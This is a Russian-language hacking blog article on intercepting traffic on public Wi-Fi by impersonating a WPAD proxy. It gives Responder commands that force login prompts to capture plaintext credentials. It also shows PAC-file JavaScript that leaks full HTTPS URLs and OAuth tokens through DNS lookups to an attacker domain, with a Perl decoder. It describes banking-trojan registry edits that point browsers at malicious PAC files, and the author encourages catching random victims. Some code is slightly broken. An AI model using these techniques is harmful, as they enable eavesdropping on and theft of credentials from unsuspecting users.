MITM PAC Proxy WPAD Безопасность Взлом Кибератаки Снифер

Прокисшие прокси: перехватываем трафик маскируясь как прокси WPAD

Прокисшие прокси: перехватываем трафик маскируясь как прокси WPAD

Представь ситуацию, ты оказался подключен к точке доступа Wi-Fi в ресторане, клубе или ещё каком-нибудь другом злачно-корпоративном месте, где много десктопов и айфонов. Хотел бы ты знать что делают пользователи? Есть много способов это сделать, но зачем изобретать велосипед, когда есть WPAD?

WPAD расшифровывается как Web Proxy Auto-Discovery, протокол автоматической настройки прокси. Это древний, как сам интернет протокол, который позволяет клиенту (в данном случае мы используем веб-браузер) автоматически обнаруживать и взаимодействовать со службами кеширования в сети. Сразу оговоримся, что WPAD поддерживают не все устройства. Увы, в расходе, Android, там настройки прокси надо вводить вручную. Зато и в Windows 10 и в iOS WPAD включен по умолчанию и большинство пользователей даже не подозревает об этом.

Теория

Протокол, разработаный ещё корпорацией Netscape, предназначен для того, чтобы помочь клиенту найти файл PAC (Proxy Auto Config), представляющий из себя JavaScript с описанием логики, по которой браузер будет определять, как подключаться к нужному URL. При совершении любого запроса браузер вызывает функцию FindProxyForURL из PAC-файла, передает туда URL и хост, а в результате ожидает узнать, через какие прокси ходить на этот адрес. Выглядит это как то так:

function FindProxyForURL(url, host) {
    if (host == "cybersec.org") {
        return "PROXY proxy.com:8080";
    } else
    if (host == "microsoft.com") {
        return "PROXY anotherproxy.com:5050";
    } else {
        return "DIRECT";
    }
}

Кроме FindProxyForURL, в PAC-скрипте есть различные вспомогательные функции для гибкой настройки. Используя их можно, например, указать, что браузер должен открывать google.com с трех до четырех часов в субботу через proxy1.com, весь день в воскресенье – через proxy2.com, а в другое время – вообще ходить напрямую, без прокси.

Короче, файлы PAC позволяют атакующему увидеть каждый запрос HTTPS ещё до того, как он будет загружен браузером. С помощью PAC может быть реализована утечка данных через DNS, например так:

function FindProxyForURL(url, host) {
 if (url.indexOf('https' == 0) {
 var leakUrl = (url + '.leak').replace(/[^\w]+/gi, '.');
 dnsResolve(leakUrl);
 }
 return 'DIRECT';
 }

Позволяет конвертировать запрос типа https://example.com/login?authtoken=ABC123XYZ в https.example.com.login.authtoken.ABC123XYZ.leak. Чувствуешь, как запахло жареным?

С самого начала своего существования WPAD стал брешью в безопасности, потому что позволяет очень легко перехватить поток данных, выдавая себя за легитимный прокси сервер. Не смотря на то, что данная уязвимость существует давно и довольно легко эксплуатируется, эта атака не приобрела большой известности. Причин всего несколько.

Во первых она позволяет перехватывать только веб трафик клиента, и многим проще запустить arp poison и перехватить гораздо больше. Во вторых для ее осуществления хоть и не требуется каких-то сложных манипуляций, но все же необходимо запустить и настроить ряд сервисов:

1. Необходимо зарегистрировать в сети имя ‘WPAD’.
2. Необходимо запустить веб-сервер и создать файл wpad.dat.
3. Необходимо запустить прокси-сервер.

Для злоумышленников и желающих потестировать защищенность системы от несанкционированного доступа, функциональность WPAD на протяжении многих лет предоставляла простой путь для выполнения MITM-атак на веб-трафик. WPAD, к примеру, использовался для подмены обновлений Windows во время атаки червя Flame.

Как же это делалось?

Responder

Для атаки мы будем использовать машину с Kali Linux (напоминаю, что для использования Kali совсем не обязательно иметь десктопный компьютер или ноут, с одинаковым успехом Kali можно запустить и и на мобильнике и на Raspberry).

В комплект Kali Linux уже входит очень мощный инструмент под названием Responder. Responder работает, имитируя различные сервисы, в том числе WPAD и предлагая их клиентам сети. Инструмент очень мощный и для полного его обзора потребуется не одна статья. Сейчас мы поговорим только о случае с WPAD.

Responder установлен в Kali по умолчанию. Чтобы просмотреть экран справки Responder и узнать, какие параметры доступны, просто используйте переключатель -h.

Kali Linux Responder 1
responder -h

Для начала рассмотрим режим “анализа”. Для этого запустим:

responder -A

Этот режим позволяет запустить Responder в режиме анализа, при этом Responder только “слушает” и ничего не отправляет. Это может быть удобно, если мы просто хотим посмотреть запросы к каким ресурсам бывают в анализируемой сети не отвечая на них.

Kali Linux Responder 2
Kali Linux Responder 3

Режим анализа также является хорошим способом пассивного обнаружения возможных векторов атаки.

Но хватит анализа, передйдём к практике.

Запустим Responder атаковать WPAD.

responder -I eth0 -wbF

С помощью Responder мы атакуем WPAD с опцией “Force Basic Authentication”, Таким образом Responder предлагает пользователям экран авторизации, когда они пытаются открывать веб-страницы, и, естественно, получает введенные юзерами данные в открытом виде. Профит?

Kali Linux Responder 6
Запущенный Responder “долбит” WPAD

Когда пользователь попытется открыть страничку, браузер затребует настройки прокси-сервера через WPAD. Responder ответит на запрос и выдаст окно с авторизацией:

Kali Linux Responder 7
Так выглядит запрос на машине жертвы

Если пользователь вводит данные, мы их получаем в открытом виде:

Kali Linux Responder 8

Intercepter-NG

Intercepter-NG – мощнейший многофункциональный снифер, для перехвата паролей и переписки. Утилита способна перехватывать трафик, сообщения и пароли/хеши, находящиеся, в публичном доступе.

В Intercepter-NG проведение атаки на WPAD полностью автоматизировано и проходит за несколько секунд.

На выбор можно вручную указать прокси сервер, который будет выдаваться клиентам или использовать встроенный socks. В последнем случае для перехвата трафика кроме самого Intercepter-NG больше ничего не потребуется.

Демонстрация работы представлена в видео, ничего сложного там нет, справяться даже начинающие:

Атака на WPAD с помощью Intercepter-ng

Проблема автоконфигурации

Хотя PAC – это полезная функциональность, факты злоупотребления ею известны с 2005 г. Бразильские киберпреступники улучшили и усовершенствовали технологию таких злоупотреблений, после чего поделились ими с коллегами из Турции и России.

Сложность и эффективность этих атак достигла беспрецедентного уровня – стало возможно взломать банковский счёт при помощи файла величиной всего в 1 КБ. Сочетая значительную изобретательность с drive-by атаками, такие вредоносные скрипты могут сделать больше, чем атаки «человек посередине» (man-in-the-middle attack); они могут перехватывать HTTP-соединения в ходе «скрытных» веб-атак, которые могут проводиться регулярно и успешно. Обычно такие атаки перенаправляют пользователей на фишинговые страницы, имитирующие легальные сайты банков, операторов кредитных карт и т.д.

В Бразилии, вредоносные PAC-файлы в банковских троянцах известны уже с 2009 года – именно тогда были зафиксированы несколько семейств зловредов, таких как Trojan.Win32.ProxyChanger, которые принудительно внедряют URL-адреса PAC-файлов в браузер на зараженных компьютерах.

pac_assonlini_makhnutin_05
Фишинговая страница, имитирующая официальную страницу бразильского банка. В настойках браузера выставлен адрес вредоносного PAC-файла

Сейчас 6 из каждых десяти банковских троянцев способны добавлять адрес вредоносного PAC-файла в настройки браузера.

pac_assonlini_makhnutin_06
Текст вредоносного PAC-файла, созданного и используемого бразильскими киберпреступниками

Некоторые троянцы также пытаются изменить файл prefs.js, при помощи которого устанавливаются настройки прокси-сервера в Mozilla Firefox:

pac_assonlini_makhnutin_07
Банковский троянец готовится изменить файл prefs.js с настройками прокси-сервера для Firefox

Это очень простая атака, троянцу нужно всего лишь сменить одно-единственное значение в реестре Windows, указав URL-адрес PAC-файла:

HKCUSoftwareMicrosoftWindowsCurrentVersionInternet Settings: «AutoConfigURL = http://www.badsite.com/pacscript.pac

Либо указать путь к маленькому (обычно менее 1 КБ) файлу, размещенному локально:

HKCUSoftwareMicrosoftWindowsCurrentVersionInternet Settings,AutoConfigURL = file://C:/WINDOWS/proxy.pac

В ходе некоторых атак также меняются значения ключа, указанного ниже – он отвечает за автоматическую установку прокси-сервера для конкретного интернет-соединения:

HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsConnections{CONNECTION NAME}

Киберпреступники могут значительно расширить доступные способы проведения атак (и увеличить потенциальное количество жертв), совместив эту методику с атаками через drive-by загрузки, эксплуатацией уязвимостей в Java, внедрением вредоносных Java-апплетов на популярные веб-сайты или даже с использованием наборов эксплойтов, таких как BlackHole.

pac_assonlini_makhnutin_08
Фрагмент кода вредоносной программы, загруженной через BlackHole, с помощью которой бразильские киберпреступники меняли настройки на компьютере пользователя, внедряя туда PAC-файл

Подход настолько эффективен, что российские банковские троянцы, такие как Trojan-Banker.Win32.Capper, его переняли в 2012 г. вместе с подделкой цифровых сертификатов, чтобы перенаправлять пользователей на фишинговую страницу по протоколу HTTPS.

Некоторые мошенники применяют социальную инженерию, чтобы обмануть пользователя и удержать вредоносный URL-адрес в настройках браузера, используя обманные доменные имена, которые на первый взгляд кажутся легитимными. 

Back2PAC

Нет, речь пойдёт не о Тупаке, пусть он покоится с миром. Здесь мы поговорим о настройках PAC.

PAC-файлы, или файлы автоконфигурации прокси-сервера – это широко используемый ресурс, который поддерживается всеми современными браузерами. Они определяют так называемый метод доступа: то, какой прокси-сервер должен использовать веб-браузер и другие интернет-приложения для доступа к конкретному URL-адресу.

Формат PAC-файла был первоначально разработан компанией Netscape в 1996 г. для браузера Netscape Navigator 2.0. Браузер, поддерживающий PAC-файлы, предоставляет доступ к списку функций, определенных в оригинальной спецификации Netscape. В каждом браузере PAC-файлы реализуются в «песочнице» – доступ предоставляется только тем функциям JavaScript, которые требуются для работы. Например, невозможно получить доступ к свойству браузера «User Agent» в PAC-файле, хотя это было бы доступно для обычной web-страницы.

Хотя PAC скрипт и написан на JavaScript, в нём недоступны объекты window, document и не получится вывести пользователю alert (он отобразится только в логах браузера). Тем не менее даже в кастрированной версии есть свои “плюшки”.

Например isResolvable – проверяет, возможно ли разрешить доменное имя в IP-адрес:

if (isResolvable(host))
    return "PROXY proxy.com:8080";

Что нам может дать использование этой функции? Чтобы ответить на этот вопрос, сначала разберемся, что именно передается в функцию FindProxyForURL в аргументе URL. Оказывается, это зависит от браузера: Chrome передает схему, хост, запрос (GET-параметры), а вот Firefox вдобавок еще и фрагмент (location.hash).

Независимо от того, какой браузер используется, у нас есть полный URL. Попытаемся, используя функцию isResolvable, перехватить URL. Для этого закодируем URL таким образом, чтобы он был валидным именем хоста, и допишем d.wpad.server, в NS-записи которого прописан наш DNS-сервер, где мы же отвечаем на все запросы и записываем их.

Итак, с помощью нехитрых манипуляций:

function encode(str) {
    r = str.toLowerCase()
        .replace(/([^a-z1-9])/g, function(m) {
            return "0" + m.charCodeAt(0)
        })
        .replace(/([^\.]{60})(.)/g, '$1.$2')
        .substr(0, 240);
    return r + (r.slice(-1) != "." ? "." : "") + "cybersec.org";
}

function FindProxyForURL(url, host) {
    var u = encode(url);
    return isResolvable(u) ? "DIRECT" : "DIRECT";
}

наш тестовый URL https://example.com/?token=abc превращается в
https058047047example046com047063token061123.cybersec.org, из которого можно достать исходную строку, например вот таким однострочником на Perl:

echo ‘https058047047example046com047063token061123.cybersec.org’ \
| perl -lape ‘s/.cybersec.org$//; s/.//g; s/0(..)/chr($1)/eg;’

Бывает, что в фрагменте URL (location.hash) зачастую передаются OAuth-токены. А значит при использовании Firefox к нам в руки могут попасть и они.

Что в остатке?

WPAD дыряв, как швейцарский сыр.

Используя WPAD можно, несмотря на HTTPS, “ловить” локальный трафик, токены OAuth и другую информацию из URL. То же можно сделать и в интернетах, зарегистрировав, например, домен wpad.art и попробовав поймать случайных жертв на эту удочку.

Все гениальное просто. Надо лишь творчески подойти к вопросу.

Удачи!

Очень злой админ
Очень злой админ Автор статьи

Админ сайта. Публикует интересные статьи с других ресурсов, либо их переводы. Если есть настроение, бывает, что пишет и что-то своё.

Leave a Reply

Your email address will not be published. Required fields are marked *